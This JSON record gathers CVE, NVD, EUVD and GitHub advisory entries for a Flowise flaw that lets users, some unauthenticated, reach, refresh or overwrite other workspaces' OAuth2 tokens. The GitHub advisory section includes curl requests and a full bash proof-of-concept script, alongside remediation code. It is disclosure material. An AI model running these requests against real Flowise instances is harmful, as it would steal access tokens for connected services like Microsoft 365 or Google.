{"id":"EUVD-2026-52855","revision":null,"records":[{"revision":"005a29ba611e43a6a4a84171cb96d697","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-70474","aliases":[],"title":"Flowise: Cross-Workspace OAuth2 Credential Metadata Leak","description":"Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize, callback, and refresh handlers query the Credential table by id only; callback and refresh are whitelisted from authentication. This allows any authenticated user to initiate OAuth2 flows against credentials belonging to other workspaces, allows an unauthenticated attacker to forge OAuth2 callbacks to overwrite tokens in any credential, and allows an unauthenticated attacker to refresh tokens for any credential. The affected routes include /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>, /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>, and /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T18:01:01.722+00:00","modifiedAt":"2026-08-05T14:29:21.131+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-70474","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-70474","identifiers":["CVE-2026-70474"]},"retained":false,"historicalAffected":[]},{"revision":"6f4917f45f4e429ab59bae5fe07efb3e","observedAt":"2026-11-07T14:22:22.154+00:00","statement":{"source":"euvd","id":"EUVD-2026-52855","aliases":["CVE-2026-70474","GHSA-wch5-xp77-fxg4"],"title":"Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize…","description":"Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize, callback, and refresh handlers query the Credential table by id only; callback and refresh are whitelisted from authentication. This allows any authenticated user to initiate OAuth2 flows against credentials belonging to other workspaces, allows an unauthenticated attacker to forge OAuth2 callbacks to overwrite tokens in any credential, and allows an unauthenticated attacker to refresh tokens for any credential. The affected routes include /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>, /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>, and /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>. This issue is fixed in version 3.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52855","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 4, 2026, 6:01:01 PM","dateUpdated":"Aug 5, 2026, 2:29:21 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-52855","identifiers":["EUVD-2026-52855","CVE-2026-70474","GHSA-wch5-xp77-fxg4"]},"retained":false,"historicalAffected":[]},{"revision":"4db23bc975414a4db4b62647c6fb3f4a","observedAt":"2026-10-25T15:18:57.446+00:00","statement":{"source":"nvd","id":"CVE-2026-70474","aliases":[],"title":"Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize…","description":"Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize, callback, and refresh handlers query the Credential table by id only; callback and refresh are whitelisted from authentication. This allows any authenticated user to initiate OAuth2 flows against credentials belonging to other workspaces, allows an unauthenticated attacker to forge OAuth2 callbacks to overwrite tokens in any credential, and allows an unauthenticated attacker to refresh tokens for any credential. The affected routes include /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>, /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>, and /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T19:16:54.977+00:00","modifiedAt":"2026-10-24T15:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.6,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70474","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-863"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T19:16:54.977","lastModified":"2026-10-24T15:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-70474","identifiers":["CVE-2026-70474"]},"retained":false,"historicalAffected":[]},{"revision":"b94da507bbb2492bbb304940ee5f8a69","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-wch5-xp77-fxg4","aliases":["CVE-2026-70474"],"title":"Flowise: Cross-Workspace OAuth2 Credential Metadata Leak","description":"## Summary\n\nThree OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:\n\n1. **Cross-workspace credential access** — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.\n2. **Unauthenticated token injection** — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.\n3. **Unauthenticated token refresh** — An unauthenticated attacker can refresh tokens for any credential.\n\n---\n\n## Root Cause\n\n### Vulnerable code: no workspace scoping\n\nAll three OAuth2 handlers query the `Credential` table by `id` only:\n\n**`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:183-185`** (callback)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: state as string\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n### Correct pattern (same codebase)\n\nThe standard credential service correctly enforces workspace isolation:\n\n**`packages/server/src/services/credentials/index.ts:130-132`**\n```typescript\nconst credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({\n    id: credentialId,\n    workspaceId: workspaceId  // <-- Workspace scoping present\n})\n```\n\n### Authentication bypass via whitelist\n\n**`packages/server/src/utils/constants.ts:40-41`**\n```typescript\nexport const WHITELIST_URLS = [\n    // ...\n    '/api/v1/oauth2-credential/callback',   // line 40\n    '/api/v1/oauth2-credential/refresh',     // line 41\n    // ...\n]\n```\n\n**`packages/server/src/index.ts:223-225`** — prefix-matched whitelist skips all auth:\n```typescript\nconst isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))\nif (isWhitelisted) {\n    next()  // No JWT verification, no API key check\n}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario A: Cross-Workspace Credential Metadata Leak\n\nAn authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`.\n\n```\nPOST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>\nCookie: connect.sid=<ATTACKER_SESSION>\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"<VICTIM_CREDENTIAL_UUID>\",\n  \"authorizationUrl\": \"https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...\",\n  \"redirectUri\": \"https://flowise-instance/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Scenario B: Unauthenticated Token Injection via Forged Callback\n\nThe callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.\n\n```\nGET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>\n(No authentication required)\n```\n\nThe server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):\n\n```typescript\nawait credentialRepository.update(credential.id, {\n    encryptedData,      // Contains attacker-controlled token data\n    updatedDate: new Date()\n})\n```\n\n### Scenario C: Unauthenticated Token Refresh\n\nAn attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.\n\n```\nPOST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>\n(No authentication required)\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"<VICTIM_CREDENTIAL_UUID>\",\n  \"tokenInfo\": {\n    \"access_token\": \"new-access-token-value\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T12:00:00.000Z\"\n  }\n}\n```\n\nThe fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n\n- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)\n- An OAuth2 credential configured in Workspace B (the victim)\n- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)\n\n### Step 1 — Confirm unauthenticated refresh endpoint is reachable\n\n```bash\n# No cookies, no Bearer token — completely unauthenticated\nFLOWISE_URL=\"https://TARGET_INSTANCE\"\nVICTIM_CRED_ID=\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result if credential exists and has a refresh token:**\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"tokenInfo\": {\n    \"access_token\": \"<VALID_ACCESS_TOKEN>\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T...\"\n  }\n}\n```\n\n**Expected result if credential not found:**\n```json\n{\n  \"success\": false,\n  \"message\": \"Credential not found\"\n}\n```\n\n### Step 2 — Cross-workspace authorize (requires any valid session)\n\n```bash\n# Attacker is authenticated in Workspace A\n# They target a credential UUID from Workspace B\nATTACKER_COOKIE=\"connect.sid=s%3A...\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n  -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result — victim credential's OAuth2 config is leaked:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"authorizationUrl\": \"https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...\",\n  \"redirectUri\": \"https://TARGET_INSTANCE/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Step 3 — Forge callback to inject attacker-controlled tokens\n\n```bash\n# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,\n# OR intercepts a legitimate flow.\n# The state parameter is the victim credential UUID.\n\ncurl -s \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}\"\n```\n\nThe server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.\n\n### Full automated PoC script\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ---- Configuration ----\nFLOWISE_URL=\"${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}\"\nVICTIM_CRED_ID=\"${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}\"\nATTACKER_COOKIE=\"${3:-}\"\n\necho \"=== OAuth2 Cross-Workspace Credential Hijacking PoC ===\"\necho \"Target:     ${FLOWISE_URL}\"\necho \"Credential: ${VICTIM_CRED_ID}\"\necho \"\"\n\n# --- Attack Vector 1: Unauthenticated token refresh ---\necho \"[1] Attempting unauthenticated token refresh...\"\nREFRESH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\")\n\nHTTP_CODE=$(echo \"${REFRESH_RESP}\" | tail -1)\nBODY=$(echo \"${REFRESH_RESP}\" | head -n -1)\n\nif [ \"${HTTP_CODE}\" = \"200\" ]; then\n  echo \"[!] VULNERABLE — Unauthenticated token refresh succeeded\"\n  echo \"    Response: ${BODY}\" | head -c 500\n  echo \"\"\nelif echo \"${BODY}\" | grep -q \"Credential not found\"; then\n  echo \"[*] Credential not found (UUID may be invalid)\"\nelif echo \"${BODY}\" | grep -q \"Missing required\"; then\n  echo \"[*] Credential exists but has no refresh_token (no prior OAuth2 flow)\"\n  echo \"    This still confirms the endpoint is reachable without auth\"\nelse\n  echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\nfi\necho \"\"\n\n# --- Attack Vector 2: Cross-workspace authorize (needs session) ---\nif [ -n \"${ATTACKER_COOKIE}\" ]; then\n  echo \"[2] Attempting cross-workspace authorize...\"\n  AUTH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n    \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n    -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n    -H \"Content-Type: application/json\")\n\n  HTTP_CODE=$(echo \"${AUTH_RESP}\" | tail -1)\n  BODY=$(echo \"${AUTH_RESP}\" | head -n -1)\n\n  if [ \"${HTTP_CODE}\" = \"200\" ]; then\n    echo \"[!] VULNERABLE — Cross-workspace credential access confirmed\"\n    echo \"    Leaked authorization URL:\"\n    echo \"${BODY}\" | python3 -m json.tool 2>/dev/null || echo \"    ${BODY}\" | head -c 500\n  else\n    echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\n  fi\nelse\n  echo \"[2] Skipped cross-workspace authorize (no attacker cookie provided)\"\nfi\necho \"\"\n\n# --- Attack Vector 3: Confirm callback is unauthenticated ---\necho \"[3] Confirming callback endpoint is unauthenticated...\"\nCALLBACK_RESP=$(curl -s -w \"\\n%{http_code}\" \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}\")\n\nHTTP_CODE=$(echo \"${CALLBACK_RESP}\" | tail -1)\n\n# Any response other than 401/403 confirms the endpoint is reachable without auth.\n# A 400 with \"token_exchange_failed\" means the endpoint processed the request\n# (tried to exchange the code) — it just failed at the external provider.\nif [ \"${HTTP_CODE}\" = \"401\" ] || [ \"${HTTP_CODE}\" = \"403\" ]; then\n  echo \"[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)\"\nelse\n  echo \"[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})\"\n  echo \"    The server attempted to process the OAuth2 callback.\"\n  echo \"    With a valid authorization code, tokens would be written to the credential.\"\nfi\n\necho \"\"\necho \"=== PoC Complete ===\"\n```\n\n---\n\n## Impact\n\n| Vector | Auth Required | Impact |\n|--------|--------------|--------|\n| Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace's credential |\n| Token injection via `/callback` | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values |\n| Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential's connected service (Microsoft 365, Google, etc.) |\n\n**Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.\n\n---\n\n## Affected Components\n\n| File | Lines | Issue |\n|------|-------|-------|\n| `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth |\n| `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth |\n\n---\n\n## Remediation\n\n1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`:\n\n```typescript\n// Before (vulnerable)\nconst credential = await credentialRepository.findOneBy({ id: credentialId })\n\n// After (fixed)\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId,\n    workspaceId: req.user?.activeWorkspaceId\n})\n```\n\n2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session.\n\n3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user's session (see also Finding 8).\n\n4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller.\n\n---","state":0,"publishedAt":"2026-08-04T18:01:29+00:00","modifiedAt":"2026-08-04T18:26:41.757511+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-wch5-xp77-fxg4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wch5-xp77-fxg4","identifiers":["GHSA-wch5-xp77-fxg4","CVE-2026-70474"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; 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